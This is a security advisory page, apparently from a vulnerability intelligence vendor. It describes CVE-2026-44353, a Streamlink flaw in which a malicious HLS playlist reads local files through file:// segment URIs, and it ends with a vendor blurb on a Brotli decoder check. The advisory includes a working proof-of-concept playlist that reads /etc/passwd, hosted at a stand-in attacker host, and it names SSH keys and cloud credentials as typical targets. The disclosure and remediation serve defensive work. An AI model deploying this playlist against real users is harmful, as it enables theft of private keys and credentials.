New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-44353

ExploitedNVDCIRCLENISA

EUVD-2026-32559 · Published May 11, 2026

Streamlink has an arbitrary local file read via file:// URI in HLS and DASH

Summary

Streamlink's HLS and DASH parsers do not validate the URI scheme of segment entries and other resources. A remote .m3u8 HLS playlist or .mpd DASH manifest can list file:///path/to/file as a segment, and streamlink will read that local file and write its contents to the output stream.

Confirmed on streamlink 8.3.0 (latest release at time of report).

Description

Segment URIs from an HLS playlist or DASH manifest are passed to the worker without any scheme check. The underlying HTTP session accepts file:// URIs, which resolve against the local filesystem. There is no scheme allowlist at the parser level, so any path readable by the streamlink process is treated as a valid segment.

The attacker does not need local access to the victim. A playlist/manifest hosted on an attacker-controlled server, fetched by streamlink on the victim's machine, is enough to trigger the read.

Impact

A remote attacker hosting a malicious playlist/manifest can make any client running streamlink against that URL read arbitrary local files within the streamlink process's read scope and write them into the output file.

Reachable files depend on the user running streamlink. Typical targets: ~/.ssh/id_* private keys, ~/.aws/credentials, shell history, application config files holding API tokens, and world-readable system files like /etc/passwd.

Affected scenarios
  • Server-side or automated deployments (recording bots, media pipelines, CI jobs processing playlists). The output file is often uploaded, logged, or otherwise exposed, which gives direct disclosure to attacker-reachable locations.
  • Interactive desktop use. File contents land on the victim's disk and can leak through secondary channels: the user sharing the recording, cloud sync, backup, etc.

This bug does not on its own send file contents back to the attacker. The disclosure goes to the output sink. Full exfiltration depends on what happens to that file afterward.

Steps to reproduce

Tested on streamlink 8.3.0, Linux (Kali).

  1. Save as playlist.m3u8:

    #EXTM3U
    #EXT-X-VERSION:3
    #EXT-X-TARGETDURATION:5
    #EXT-X-PLAYLIST-TYPE:VOD
    #EXTINF:5.0,
    file:///etc/passwd
    #EXT-X-ENDLIST
    
  2. Host the playlist on a remote server reachable by the victim. For testing, a VPS, a tunnel (cloudflared, ngrok), or a static host like GitHub Pages all work.

  3. On the victim machine:

    streamlink "hls://https://attacker-host.example/playlist.m3u8" best -o /tmp/proof.ts
    
  4. Inspect the output:

    cat /tmp/proof.ts
    
  5. The output contains the contents of /etc/passwd from the machine running streamlink.

Local reproduction (equivalent, simpler to set up):
python3 -m http.server 8080    # in directory containing playlist.m3u8
streamlink "hls://http://127.0.0.1:8080/playlist.m3u8" best -o /tmp/proof.ts
cat /tmp/proof.ts

The remote case was confirmed independently using a tunnel.

Proposed remediation

Allowlist http and https for segment URIs in the HLS parser. Reject any other scheme (file, ftp, data, etc.) at parse time, before the URI reaches the fetcher.

The check needs to cover:

  • Segment URIs in the top-level manifest.
  • Segment URIs in nested manifests pulled during playback (variant playlists referenced from a master playlist).
  • Other URI fields the fetcher consumes — #EXT-X-KEY and #EXT-X-MAP URIs at minimum. Worth auditing the rest for the same issue.

The check belongs in the parser, not the fetcher. Putting it next to the untrusted input means downstream callers don't each need to re-implement it, and any future fetcher path inherits the protection by default.

Technologies

Streamlink Streamlink

Weaknesses

CWE-22CWE-73

CVSS scores

  • v3.16.5CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access Execution Stealth Defense Impairment

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot